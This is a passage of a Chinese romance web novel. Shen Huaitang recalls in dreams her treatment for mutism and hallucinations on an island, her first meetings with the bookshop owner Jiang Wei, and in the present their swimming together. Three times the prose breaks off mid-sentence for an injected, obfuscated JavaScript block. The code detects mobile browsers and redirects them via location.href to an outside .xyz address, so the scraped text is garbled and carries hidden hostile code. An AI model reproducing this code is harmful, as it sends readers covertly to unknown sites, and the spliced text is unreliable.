按照她平日里的习惯,看到过于强壮的男人会下意识避开,不知是因为江未在场,或是因为曾经与达拉斯熟识,她对老头儿的观感还不错。 江未自觉地将她的行李也归过来,瞥见她的眼神,跟肚里蛔虫似的问:“你一点儿也想不起来达拉斯吗?” 沈淮棠摇头:“连你都想不起来,何况是他呢?” 这话不知怎么取悦到他,笑眼弯弯的,在去酒店的路上给她介绍起来:“栖居原本是我奶奶开的书店,达拉斯是她的老相识,是个木匠,手很巧。” “后来店给了我,我又不常在岛上,达拉斯就会时不时来帮忙看店。而且现在工厂盛行,也很少需要木匠做活儿了,他年纪大,做些木质工艺品放在店里卖,也挺好的。” 入住酒店后,沈淮棠痛痛快快洗了个澡,准备睡午觉前,她将二白毛毡放在床头,侧躺在柔软大床上,与娃娃对视。 毛毡娃娃的绒毛在阳光下泛起一层淡淡的金色,黑漆漆的眼睛极为灵动,好似下一秒就会眨起眼来,如此栩栩如生,简直就是艺术品,哪里像是第一次做的。 酒店临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850599|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海,她没关窗,外面吹来一阵风,带着大海水润丰盈的气息,还有淡淡的咸味。 她缓缓闭上眼睛,平静等待着即将到来的沉睡与梦境——莫名预感,一定会做梦。 随着起伏的海浪声按拍缓歌,梦中的沈淮棠重新回到汽笛阵阵的港口。 她跟着云姨下船,第一次打量这个陌生的岛屿。比起如今,八年前的梦港岛并不人烟稠密。 但来度假的游客都惬意松散,本地人也早已习惯慢节奏的生活,好似从不会着急,杯弓蛇影的沈淮棠走在其中,极为违和,像是个不折不扣的异类。 她有些不安,面上却不显露任何破绽,只沉默地将行李搬落,走进云姨提前租好的公寓楼里。 为了节省时间,刚安顿好,云姨直接带她去了岛上的疗养院。 这医院与其他地方的医院并无不同,主要是为了给岛民治疗基本的头疼脑热,但凡有重大疾病,还是会建议离岛治疗。 而医院的特色部分是有一个系统完善的精神疗养院,风景宜人远离城市喧嚣,医疗资源充足,能让病人从原来的生活中喘息片刻,一边治病一边散心。 云姨当初也就是看中这一点,才不惜远渡重洋将沈淮棠带到梦港岛来。 与其说是要“治疗疾病”,倒不如说是想让她从牵筋缩脉的紧绷生活中解脱出来。 主治医生是一位金发碧眼的女士,温柔耐心,哪怕沈淮棠从不说话,她也没有催促过任何,只是在她做完各项检查后,看着她的报告,问道:“你说你已经看到幻觉了?是哪一类的幻觉呢?有声音吗?那些幻觉与母亲有关吗?” 沈淮棠面色犹豫,医生递来一张白纸,她思考片刻,觉得无法用语言表述所见,便执笔开始画简单的线条—— 八条机械腿的独眼怪,浑身长满藤蔓玫瑰的独角兽,腾云驾雾飘飘欲仙的道士蛇,只躲在角落里阴暗观察人世间的巨大独眼…… 医生看一眼,见怪不怪地说:“很有特色,那么它们现在在哪里呢?” “无处不在。”她环顾空荡荡的四周,写道,“在我需要的时候,它们会陪伴我。” 医生点点头,记录未停:“它们会跟你说话吗?是以文字形式,还是发出声音?” 听到这个问题,沈淮棠便不再配合,将笔放落在桌面,表示无可奉告。 医生嘱咐道:“如果它们让你做不好的事情,一定不能听从,知道吗?” 沈淮棠写:“它们不会的。” 她认为,她能分辨清楚。 母亲就是精神分裂,因为虚无妄想与命令性幻听而自尽,她知道那有多可怕,所以她才能确认异兽们不会害她。 但是,她同样清楚,若是将这话说出口,别人只会觉得她病入膏肓。 主治医生留下云姨单独交流,沈淮棠坐在走廊的长椅上默默等待。 窗外光线明亮,太阳灼热,她静静地看着遥远的海平线,身边三只头的巨蛇蜿蜒而来,亲昵地用蛇口抵在她的额头,嘶嘶信子掠过耳尖。 沈淮棠闭眼,伸出右手,放在巨蛇坚硬而冰冷的鳞片上,她这才感觉到手在难以自持地微微颤抖。 握拳,再张开。 并无好转。 他们说,异兽的存在,是她思维内容障碍,幻想出来的。 怎么可能呢? 那么多痛苦夜晚的陪伴,怎么可能只是她的幻想呢? 17. 你很讨厌我? 云姨从诊室出来后,表情没什么变化,只是怜爱地摸摸她的脑袋,商量说:“医生说你的情况还需要继续观察,我们办理日间医院治疗好吗?” 日间医院治疗就是白天来医院,晚上回社区的公寓住,暂时免于住院。 沈淮棠乖巧点头,她对于云姨的安排向来顺从。 办完手续回公寓的时候,已经到了傍晚,云姨牵着她的手,两个人散步似的慢慢往回走,夕阳将她们的影子拉得很长。 云姨忽而开口问:“淮棠,你看见的异兽里,是不是有三个头的巨蛇,还有镜子堆砌起来的狐狸?” 沈淮棠一时没有回答,只是抬眸,不知她有何用意,便只严谨地观察她。 云姨好似知道她的顾虑,笑笑说:“我看不见,但是小时候,你妈妈看得见,跟我讲过。” “我们两个猫在被窝里,她很骄傲地同我介绍新朋友们,当时我很羡慕,妹妹好像和我活在完全不同的维度。” 她眼神透着怀念,弯起唇角,“她不仅五感的感受更丰富,甚至像多长了个器官,看到另一个世界,她的艺术通感是天生的,那是天赋,被神眷顾。” 沈淮棠听罢,陷入短暂的思考。 云姨与母亲确实是两种完全不同的人。 她想起以前母亲表情夸张地说:“妈妈好羡慕你云姨啊,你看,我有灵感时才能有作品,灵感枯竭的时候就是一块用完的橡皮泥,干巴巴硬邦邦,可是养家糊口养爱好,需要好多钱,云姨就能持续稳定地赚很多很多钱,她好厉害!” 或许人总会看向缺失的东西吧。 一串鸟叫声让云姨从记忆中回神,捏捏她的手心说:“淮棠,你别有心理压力,是不是生病,说不说得出话,都没关系。” 云姨将语气尽量放得轻描淡写,“大不了就跟云姨过一辈子嘛。” 这句话,让沈淮棠的肩膀又沉了三分。 在梦港岛的第一夜,她完全没有睡着,坐在床上蜷腿抱着枕头,看着窗外从漆黑一片到天光破晓。 她睡不了。 闭眼全是母亲的音容笑貌,睁眼便看见异兽们悬浮在半空中,长久地凝视她。 独处时,她会无意识流泪,思维迟滞,如同坠入深渊,可与云姨在一起时,她又能透过那张与母亲相似的面庞遥望到过去的故事。 每分每秒,都是煎熬。 第二天上午,沈淮棠收拾好,就要开始去医院治疗的生活。 云姨原本要陪她去,但她拒绝了。 她性子本就早熟,以往照顾母亲经验丰富,流程早就清楚,就算换了个地儿,应该也差不离。 况且,云姨忙于工作,也不能常常呆在这里,她总要学会独立生活。 按照昨天的路线,沈淮棠抵达医院,做了例行检查,与主治医师继续谈话,拿了些药,基本都在她的预想之中。 中午过后,她结束这些环节,从医院大门出来,却也不想回公寓,便开始漫无目的地溜达起来。 而后,在栖居书店的门前。 她第一次见到江未。 他俊俏漂亮得简直是从画中走出来的人,沈淮棠看得心间震颤,竟然开始怀疑眼前这位画中仙是自己幻想出来的,与三头蛇没什么区别。 好在,她眯眼一瞧,确认他有影子,应当是个活人。 沈淮棠的心绪逐渐平定。 其实在生病的时候,她已经许久没有什么情绪,江未能够让她的心情有刹那的激荡,已经是很了不得的事情。 或许她从未想过,一见钟情这种事情会发生在自己身上,还是在如此不合时宜的地点与时间段。 她走进书店,在书架间流连,偶尔拿起一本书简单地翻阅。 终于,江未也被脚步似猫般轻盈的少女吸引了注意,在这座岛上,黑发黑瞳已经是特殊的标志。 他将手里的书本遮盖在额前,挡住稍有刺眼的阳光,瞧着站在阴影处翻书的瘦削少女。 她的面庞白净,下巴尖尖,眼神却机敏而冷漠,无论看向何处都带着审视的目光,然而身上却穿着纯黑的连衣裙,多少带着些与年纪并不相符的沉沉暮气。 他扬起下巴问道:“你是华国人?” 沈淮棠转眸,轻轻颔首。 “你从哪座城市来?我好久没回去了,你给我讲讲那边的事情呗。”江未懒洋洋地靠在藤椅上,脸上挂着漫不经心的笑,一双桃花眼却亮得出奇。 这会儿的他不过二十出头,还带着锋芒毕露的少年朝气,说起话来也快言快语。 而沈淮棠只静默地看着他。 “不说就不说,盯着我做什么?”江未被她看得有些发毛,下意识摸摸脸,忽而意识到,“你不会说话?” 沈淮棠目前患有失语症,他没说错,于是她又点了一下头。 其实她心里有些犹豫,近日来,失去母亲又生病的事情,让不少人看她的眼神里充满警惕与怜悯,实在让她如芒在背。 她不想在江未的脸上看到那样的神色。 “难怪。”他了然地点头,表情并无变化,而后找了个更舒服的姿势躺下去,根本不在意那些弯弯绕绕。 千恩万谢。 这态度倒让沈淮棠放松下来。 见他不再有交流欲望,她便也转身离开栖居,漫无目的地走着,不知不觉竟绕到少有人来的死路巷口。 一抬眼,破破烂烂的墙沿上坐着两个青少年,棒球帽压低到眉眼,嘴里叼着烟,对着她露出不怀好意的笑。 沈淮棠转身就走,突然有什么东西飞来,猝不及防地砸中她的脑袋。她猛地打了个趔趄,扶着墙勉强站稳身子。 恶作剧得逞的青少年们哈哈大笑,沈淮棠的眼眸也渐冷。她瞧着优柔,不轻易惹事儿却也不怕事儿,那么些年空手道可不是白学的。 她的指甲掐进手心,浑身警觉,连眼神都充满戒备。 可就在这时,空中忽然飞来一颗篮球,划过一道橙色的抛物线,正中其中一个青少年的脑瓜。 他被砸得往前一栽,直接摔下墙面来了个标准的狗吃屎,而那颗篮球咕噜咕噜滚到沈淮棠脚边。 青少年们叫骂着转头,沈淮棠也遥遥望去,发现道路尽头站着个身材颀长的大高个儿,逆着光,看不清脸。 两个骂骂嚷嚷的坏孩子在认出他的瞬间收敛声息,似乎曾经在他身上吃过什么不得了的亏,当即没了声儿。 沈淮棠松口气,捡起篮球,走过去交回到江未手里,他接过后,只撂下一句:“以后没事不要来这边。” 也没多看她,直接离开。 应该只是路过此处。 她松口气,只觉得疲惫至极,赶紧在青少年们暗戳戳观察的眼神中迅速离开这不祥之地。 回到公寓后,沈淮棠洗漱完毕,按照医嘱吃药,而后蜷缩在沙发上看了会儿书,待药效发作,困倦袭来,不知不觉就陷入睡眠。 等待她的是漫长的噩梦,惊醒时冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850600|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗淋漓,她昏暗中猛地坐起来,一时不知今夕何夕身在何处,左右环顾却觉得如此陌生,这虚空让她无端生出被抛弃之感,在瞬间就沼泽般将她吞没,她挣扎无门,只能崩溃痛哭。 那些只有她才能看见的怪物再次涌出,盘旋簇拥在身边,她才渐渐安下心来。 直到天亮了。 沈淮棠心情平复许多,吃过早餐后乖乖去医院,进行基础检查,治疗用药,休息午饭。规整的时间表有助于适应新生活。 尽管如此,她也感受得到从自己身上透出来的死气沉沉。于是在从医院出来后,她决定去海边走走。 不是游客云集的景区,而是只有本地人知道的,需要走很远才能抵达的沙滩。 那地方鲜少人经过,沈淮棠的心情略有放松,躺在柔软的细沙上,听着一阵阵风带来的海潮声,凝视天空流云发呆。 不知道过了多久,她忽然注意到海潮间有什么在涌动,眯起眼睛仔细一瞧,应该是一个人在游向海边。 她歪着头,眼见着那人在蓝白海浪中沉沉浮浮,将要抵达岸边时,骤然从海面站起身来,带起一大片水波涟漪。 他伸出手将湿漉漉的头发往后一捋,那张面孔终于展现—— 海水淌过利落的面部线条,透着三两分凌厉的桃花眼,高挺的鼻梁与微微喘气的嘴唇,滴滴答答地落在他的胸膛与腹肌,英俊得近乎妖异。 沈淮棠情不自禁地屏住呼吸,一错不错地盯着他,脑海中闪现过无数种传说中美丽的生物,人鱼,鲛人,水妖,海怪…… 直到他完全从海里出来,露出长而直的双腿,一步步踩在沙滩上,朝她靠近,越来越近—— 她此时才敢确信,这美丽的生物是江未,栖居书店的年轻老板。 江未拿出不知藏在哪里的双肩包,抽出一条大浴巾,将自己裹好,顺带擦着湿淋淋的头发,这才得空瞟一眼仍目不转睛的沈淮棠:“还没看够?” 她微微一愣,些微赧然地转开视线。 本就是在发呆,江未的出现算是意外,她根本就没意识到自己盯他的眼神有多心无旁骛。 不过,听他的语气,好似并没有不悦,显然是美而自知,完全不在乎他人目光。 沈淮棠正想着,眼前突然出现一张倒着的俊脸,桃花眼熠熠生辉,江未竟然闪现到她面前来,凑近了瞧她—— 他说:“小哑巴,我算是发现了,你怎么总是在偷偷看我?” 沈淮棠吓得一个战术后仰,险些都要挤出双下巴。 “不对,你根本不是偷看,是光明正大地看。”江未见她被吓到,心满意足地露出一个恶劣的笑,这才往她身边一坐,“眼神坦诚,行为举止却胆小,你很矛盾啊。” 矛盾吗? 沈淮棠暗自腹诽,坦诚归坦诚,是他冷不丁吓人,还不让人躲了吗? 她微微垂眸,并不作任何反应,继续装作透明人。然而就算如此,江未的存在感实在太强,强得让她难以忽视。 他坐在她右边,像是有一轮源源不断散发着光与热的小太阳,从容颜身段,到举手投足,都明亮灼人。 沈淮棠知晓这段时间的自己能量低迷,因此在面对好似能光合作用的江未时,难免有些想逃的冲动。 然而,他特别敏感。 她仅仅只是不动声色地往左边挪了一点,他立刻就发现那拉开的一段点距离,紧跟着也挪过去。 还要直截了当地质问:“你很讨厌我?” 18. 话痨与哑巴 沈淮棠看着江未咄咄逼人的眼睛,觉得这人有点虚伪—— 方才是谁看他入迷?是她。 明知如此,还要问这种问题,就是想要听别人夸他罢了。 就算心中鄙夷,她此时还有些分心地想,这家伙连皱眉的时候也好看得很。 “不讨厌,那你跑什么?”江未哼一声,放过她后又叹气,百无聊赖抓起一把沙子散开,自问自答道,“算了,问你也没用,也不会说话。” 她眨眨眼,第一次发现做哑巴的好处。 “诶,说起来。”他又想到话题,“你是先天性哑巴,还是后天?” 他谈论起她的疾病,语气自然得似是讨论晚餐吃什么,没有半点冒犯调笑或谨慎轻视的意味。 沈淮棠比了个耶,表示是后天。 他看懂了:“是器质性病变导致哑巴,还是心理因素?” 听到这问题,她犹豫一瞬,江未却立刻给出答案:“应该是心理因素,否则怎么会到精神疗养院。” 沈淮棠没有反驳,算是默认。 “小可怜儿,加油治病吧。”江未长叹一口气,拍拍她的肩膀,很有义气地说道,“有困难可以来找我,反正,这岛上也就咱们两个华国人。” 沈淮棠眨眨眼,双臂抱住曲起的腿来,下巴搁置在膝盖,海风吹过她齐肩的短发,在脖颈出挠痒痒似的。 她在沙子上轻轻写:谢谢。 “嗨,动动嘴皮子的事儿。”江未开一句玩笑,也学着她低头摆弄沙子,堆成各种各样的形状,“你看,沙子里有好多盐。” 江未掬起一捧沙子,给她看黄沙里搀着白色的颗粒:“你知道吗?盐不仅能吃,也可以作画材,画水彩的时候,趁着颜色未干撒盐,盐融化会将颜色化开,产生雪花状的肌理,特别好看。” 他继续深挖,不知摸到什么,转而用双手扒拉,半晌从沙里挖出个大贝壳来,左右翻转研究片刻,又递给她: “你看,白蝶贝的壳子,漂亮吧?” 那贝壳比他手掌还大,白玉般的质地上覆盖一层细碎的反光层,扇形边缘又染着浓烈的金色,在阳光的照耀下,像是燃烧的火焰般淬亮。 沈淮棠分不清各种贝壳,江未拍掉白蝶贝上的沙土,科普道: “对于人类来说,白蝶贝可是个大宝贝,肉好吃,又营养,贝壳光泽度高,又硬又厚,是上乘的工艺原料,用来雕刻绘画都不错,据说,这种壳子磨成粉,还能入药呢。” “而且,白蝶贝的珍珠这么大呢!”他用手指比划了个圆形,“又大又漂亮,能卖很多钱,所以叫珍珠王中王……特别土。” 沈淮棠却注意到他的措辞,“对于人类来说”,这种感觉很奇怪,好似他没有把自己归类在人类群体,而是在一种疏离的观察视角去看“白蝶贝造福人类”一事。 这很有趣。 也不知是江未真觉得沈淮棠是小可怜儿,还是他真的太孤单,终于逮到一个能听他讲中文的小伙伴,简直是不顾沈淮棠死活地在她耳边叭叭叭。 沈淮棠郁猝地想,第一次见面的时候也不知道他是个碎嘴子啊。 “你看,这个也很漂亮。”他不知又从哪儿摸出个石头,强行放进她手里。 那石头亮晶晶,像个淡蓝色的冰糖,玲珑剔透,每个横切面都有不同的色泽。 江未说:“这是方解石,也是大宝贝,古代一直用这种石头做颜料呢。” 沈淮棠心说,看出来了,他就是在展示各种能画画的大宝贝。 “而且,方解石是一种中药,你知道吗?能治骨质疏松。”他眉目舒朗地笑了,“你看病的疗养院,也有面向游客的疗愈活动,疗愈师用各种石头给人做疗愈,方解石就是其中之一。” 他拾起那蓝色方解石,放在她的锁骨窝窝上,滚烫与冰凉的触感同时袭来。 热的是他的指腹,凉的是石头。 沈淮棠被触碰得心有戚戚,江未却笑得没心没肺:“说不定能治好你哑巴呢。” 她垂眸在沙滩上写字:你喜欢画画。 江未愣住,随即展颜笑开:“不好意思,我总忍不住提,你呢?喜欢做什么?” 沈淮棠认真思索片刻,摇摇头。 她不知道。 母亲是个不折不扣的艺术家。 沈如风这个名字,在她的音乐受众眼里就充满着艺术家的刻板印象——创造力和病态都很强烈的人,往往能够成为天才,伟大的艺术家往往都患有精神分裂症——她在癫狂与极致的情绪中写出绝妙的作品,最后还因此自杀,怎能让人不感慨? 于是,许多人都认为沈如风的女儿,也就是沈淮棠,合该与母亲一样有绝妙的艺术天赋,就算比不上天才,也该比普通人出众。 然而事实是,沈淮棠对于艺术本身,确实有点兴趣,在很小的时候,母亲的耳濡目染之下。 母亲弹琴,柔软的手拂过琴键,好似一阵风吹过。 无论是徐徐微风,还是狂风骤雨,都在细细密密地诉说动人的故事。音乐在流动,渲染出辽阔深远的意境,在她手中,每个音符都是活的,一切都无比美妙。 不仅如此,偶尔沈如风灵感来了,会用石膏塑佛头佛手莲花座,或是一时兴起去野外写生,也会在夜晚昏黄的灯下落笔三两句云淡风轻的诗句,以及雷雨天气中,她举着红酒杯旋转,放声歌唱。 那些记忆实在太久远了。 她几乎都要忘记了。 因为沈淮棠的生活中,多数时间都疲于与忙碌艰涩的生活作斗争。 说来有些矫情,家里的物质条件尚好,母亲就算生病,也请了照顾生活的家政阿姨与照顾患者的护工,她却仍然觉得极度疲惫。 从十岁起,沈淮棠就开始提心吊胆,上课途中或许会接到电话,说母亲又发病了,不肯吃药,将家里的一切东西都砸碎,若有人阻止,便会大打出手…… 但最恐怖的一句话还得是这句:“你妈妈又不见啦,到处都找不到她。” 沈淮棠在奔突湍流的河里找到过母亲,还有车流汹涌的马路中间,甚至还有一次,她状似正常地在超市里挑选刀具。 她不知要心理多么强大,才能游刃有余地应付每一次的突发状况。 每次将母亲找回来,沈淮棠都发现她身上有伤,夜里静悄悄的时候,她耐心给母亲上药,听那呜呜咽咽的哭诉: “宝贝,你不要丢下妈妈呀,他们对我都不好,你不要离开我……” 沈淮棠抱着母亲,耐心地将她哄睡,就像小时候,母亲抱着她哄睡一样。 然后她要记录母亲的药量与近日表现,等着去医院复诊时给医生过目,才能更好判断母亲是否需要继续住院。 等这一切结束,她还要回到自己的房间,拧亮台灯,俯身在书桌前,完成她每日的功课。 高中的课业繁重,她被逼迫得根本没有时间喘息,因为特殊原因,向学校申请不上晚自习。 老师见她成绩尚可,这才特别批准。 说句客观又难听的话,只有母亲住院,她才能够将完整的精力投入学习生活中,却还是会担心母亲在医院是否过得好。 每个半个月,她去医院探望,看母亲流泪说“宝贝,我想回家”时,心里又疼。 在这种高压之中,沈淮棠觉得连睡觉都是奢侈,哪里有时间培养爱好? 那是需要漫长时间与耐心去滋养的植物,她没有那样的条件。 她不是艺术家,她是艺术家的从属。 又或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850601|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者说,她仅仅是一个精神病患者的家人。 能说的似乎很多,可话到嘴边,她却连声音都发不出来。 沈淮棠垂眸,捡起那块方解石,举起对着阳光仔细观察,石头透出迷离的光泽。 片刻后,她再次躺在沙滩上,将石头随意搁置在额头,然后闭上了眼睛。 “不想说吗?还是没有爱好?”江未见她回避,倒也不催,“问题不大,说不定今天就会开始喜欢上什么呢?” 沈淮棠心想,江未好似真的很寂寞,旺盛的分享欲无处发泄,如此话痨,怎么正好碰上她这个哑巴呢? 离奇的是,在他声音语气都和缓的讲述中,她难得地有了正常的困意,在这种并不适合睡觉的时间与地点。 若仔细想想,江未的气场的特殊之处正在于天生能与自然无限相融,待在大海沙滩边,就像是大海沙滩的一部分,能让沈淮棠感到放松与安全。 所以,她很快睡着了。 这一觉睡得很好,没有梦魇。 她醒来后,看到漫天繁星,静静地看了一会儿,才用手肘支撑着身体坐起来。 胸腔里是许久未体会过的松快,她甚至都记不清有多久没有这样好好睡一觉了。 自从那一天后,沈淮棠有一段时间没有见到江未。 为了沈淮棠的健康着想,医生建议她去进行一些并不激烈的运动,比如说游泳。 她向来是个乖孩子,不敢直接去海里游泳,于是去游泳池里试试水,这会儿正在岸边愁眉苦脸地进行心理建设。 忽然间,江未像条鱼一样从池子里冒头,哗啦一下扑了沈淮棠满身水珠,而后哈哈大笑着将头发往后一捋,露出湿漉漉的漆黑眼睛。 他靠近她,展开两条结实修长的手臂,诚挚地鼓励道:“来,跳下来,我接着你呢。” 沈淮棠与江未对视,见他真率的神情,莫名安下心来,正准备鼓起勇气往下跳时,这臭小子忽然拽住她的一条小腿,稍一用力往下一扯—— 落水发出的惊天巨响,在游泳馆的室内回荡,还有江未坏心眼的笑声。 沈淮棠在水池里惊慌地扑腾,下一秒就被江未捞起来,他笑道:“看你半天不敢下来,助你一臂之力。” 她呛水呛得脸通红,见他乐呵成这样,觉得他和那天两个恶作剧的青少年并无不同,都是一样的坏胚! 气急之下,沈淮棠直接扑上去揍他,拳头锤得邦邦响,江未吃痛,这才后知后觉玩过了火,赶紧安抚道:“我错了我错了,对不起对不起对不起——” 他想按住她,怎知她跟只小豹子似的有劲儿,甚至给他来了个过肩摔,熟能生巧的招式一下下往他身上招呼,两个人在水里扭打许久,水花溅到天花板。 直到游泳池的管理人员听到动静,过来查看,将两人拉开后,沈淮棠才放过他。 后来,她没有再搭理江未的频频认错,气呼呼地从泳池出来后,换好衣服回公寓去了。 然而到家整理背包时,才意外地从里面摸到一个陌生的物品。 她拿出来一看,竟是上回江未从沙子里挖出来的大贝壳,似乎是叫白蝶贝。 只是,这白蝶贝与之前不大一样了。 贝壳被洗得干干净净,壳面上是已然干涸的颜料。 江未在贝壳上画了一幅画,一棵隐约只能看见半边树干的枫树,秋风将深红与金黄的叶子朝沈淮棠吹来,浩浩荡荡,红枫似火。 而那最大一片枫叶连脉络都清晰,沈淮棠凝视着它,脑海中忽然被什么击中,恍惚之间,她蓦然想起那枚从胡桃镇挑选送给江未的枫叶。 两枚枫叶就这样跨越时空,跨越梦境与现实,堪堪重合起来。 沈淮棠就在这一刻醒了,真正醒了。 19. 给摸吗 海风吹来忽远忽近的船笛声,永不停息的浪潮起起伏伏,温柔吟唱,轻缓地托住回落现实的沈淮棠。 手机屏幕上显示时间只过了不到两个小时,梦境却深远绵长。 或许那是真实发生过的事情,存储在她的记忆中枢,读取迅速,它不需要按照逻辑发展,也不需要多么光怪陆离,仅仅是呈现在她眼前。 这算是无痛恢复记忆吗? 虽然只有一点点。 沈淮棠懒洋洋地爬起身,用凉水扑了把脸,推开阳台的门,海风在瞬间吹起她的长发与衣摆。 她嗅到空气中有热腾腾的香气,往前走两步,才发现阳台与隔壁离得很近,而她的邻居,也就是江未,正坐在阳台的沙发上敲键盘。 听到声响,江未抬眼看来,自然而然地打招呼:“醒了?要不要喝红茶,是我特地带来的茶叶哦。” “谢谢。”沈淮棠尽力探身伸手,接过江未递来的茶杯,而后惬意地倚靠在阳台围栏,抿尝热茶,眼珠子却转来转去地打量着他。 ——二十八岁的江未,和二十岁的江未,虽然都有漂亮的面孔与身架,以及善解人意的脾性,却还是区别很大。 若要用诙谐些的词句来描述,二十岁的江未身上仍有种无忧无虑的乐天感,像是迪士尼动画里被小动物围起来唱歌的公主殿下。 而二十八岁的江未公主则是黑化后回家继承大统,心里要想着“这一次我要把属于我的一切夺回来,第一章,回国……” 虽然割舍掉某些稚嫩的特质,却也仍保有一部分纯粹的东西,相比之下,整个人内敛沉静许多。 不过倒也正常,谁上个几年的班都会有这种这种淡淡的死气。 江未听她面色淡淡却煞有介事地讲述,笑得险些呛茶,摇摇头打趣道:“什么继承大统,我们家的‘大统’,从来都是我哥的,我充其量也是个‘辅佐大臣’罢了。” 沈淮棠闻言疑惑:“你之前不是说,跟你哥关系挺好的?连个公主都不让你当?” “是挺好的。”他笑笑,垂下眼睑,将杯中茶水一饮而尽,“不冲突嘛,也没关系,真让我来,我也做不到像他那样好,他可是我父母辛苦栽培起来的继承人。” 显然他不想聊家事,沈淮棠识趣地转移话题:“我想去游泳,得先在池子里熟悉一下,再下海玩儿。” 江未将电脑合上:“我陪你一起去。” 他们所住的酒店里,有临海的游泳池,下楼就能到。 沈淮棠从更衣间披着浴巾出来,正好看到江未在游泳池边做热身运动。午后的阳光给他修长的身材与舒展的肌肉上镀上一层明亮的金色,瞧着很是赏心悦目。 江未回眸,看到身穿泳衣的沈淮棠,大片皮肤雪白盈润,腹肌紧致,款款而来时柳腰花态步步生莲。 一时间,他的目光都不知该往哪儿放,盯着吧太失礼,不看又显得道貌岸然,只能垂下眼帘,视线却又落在浴巾下方她笔直纤细的小腿与光洁的脚背上。 江未不自然地偏过身去,耳尖好似染上桃花红,更显得那颗红痣鲜艳欲滴。 沈淮棠走向上前去,直接抬起脚,将江未一屁股踹下泳池。 重物落水,溅起一阵巨大的水花,声响剧烈,江未从中蹿出,勃然大怒地抹了把脸,莫名其妙喊道:“你干什么啊?” 沈淮棠居高临下瞧着湿漉漉的江未,露出个大仇得报的笑容:“看你半天下不去,助你一臂之力而已。” 江未站在水中,面色诡异,显然也想起了这段故事。 他蹭蹭鼻子,明显心虚:“你以前都算过一次账了,怎么现在还有利息啊?” 沈淮棠哼一声,将浴巾解开,坐在池边,双腿在水中晃来晃去:“那没办法,想起来就牙痒痒,非得给你点颜色瞧瞧。” 总觉得这些天可能要挨不少打,江未哀嚎起来,游至岸边,半俯在她膝盖上,祈求道:“能不能多想点我的好?” 他仰望着她,眼里倒映着缱绻的云,像一只湿漉漉的大狗。 她情不自禁伸手摸摸他的头,将那淋淋漓漓的湿发拨上去,露出光洁的额头,这下看着,他与梦中出现的年轻的江未又极为相似了。 沈淮棠的指腹温柔地抚过他的脸颊,恋恋不舍,他感受到她难得的缱绻之意,眼睛微微睁大,连呼吸都迟滞两三分。 片刻,她收回手,在岸边一撑,也入了水,溅起的水珠落在她的睫毛上,欲落未落。 江未伸手想要拉她,她却灵活一躲,从善如流地游走了,徒留江未站在原地被气笑,抱着手臂瞧着她的远去。 沈淮棠在池中穿梭,水波密不可分地包裹着身体,她借着肌肉记忆找回游泳时畅快从容的感觉。 原来她不仅会游泳,还游得这样好,可惜这五年从未尝试过下水,否则她大概能更早地找到记忆。 接下来的日子,沈淮棠每天都会抽出一段时间练习游泳,有时是清晨起床后,有时是下午,在海边,或是泳池。 她也习惯江未的陪伴,他偶尔会一起下水,或是抱着电脑在岸上工作,准备好补充体力的能量饮料与甜品小食,待她累了以后进行投喂。 某日风和日丽,天气不错,沈淮棠下海游了两圈回来,躺在沙滩上的大浴巾上晒太阳。 江未摸摸她被晒得发烫的额头,起身去便利店买饮料。 沈淮棠听见他离开的声音,含糊应了一声,眼睛也没睁开,思绪游离。 忽然有人拍拍她的肩膀。 这么快就回来了? 她睁眼,这才发现面前是个陌生的异国男人,有着棕色卷发与深绿色的眼瞳,以及古铜色肌肤与健硕的身材。 他礼貌地打了招呼,露出一个笑容,寒暄后说:“我们是来梦港岛拍摄的摄影团队,已经结束工作,晚上我们在别墅有派对,有没有兴趣交朋友?” 沈淮棠顺着他的手指看去,发现不远处是他的几个朋友,俊男靓女,朝她这边笑着挥挥手。 她礼貌地点头致意,婉拒道:“不好意思,不是很方便。” “你可以和你男朋友一起来。”那人宽和地说,“如果他不介意的话。” 沈淮棠说:“他介意。” 男人笑道:“为什么不问问他的意思?” 他说罢,转眸朝旁边看去,江未正好走到她身边,展露社交笑容:“抱歉,她的意思就是我的意思,感谢你们的好意。” 那人被逗乐,却还是点点头,道别后回到了他的朋友之中。 江未发现沈淮棠还在暗戳戳地往那伙人的方向看,疑惑道:“怎么,后悔了?” 她意犹未尽地说:“他身材真好,看上去手感不错,不过拒绝人家,也没好意思问能不能摸摸。” 江未:? “我呢?我还不够你看的?”他气急败坏地把她的脸掰正,瞪着她说,“我是没有胸肌?还是没有腹肌?你看得少了?以前和现在,是谁在陪你游泳?” 沈淮棠被他捏得脸都嘟起来,目光上下打量他一刻,慢吞吞地说:“那给摸吗?” 江未难以置信:“你说什么?” 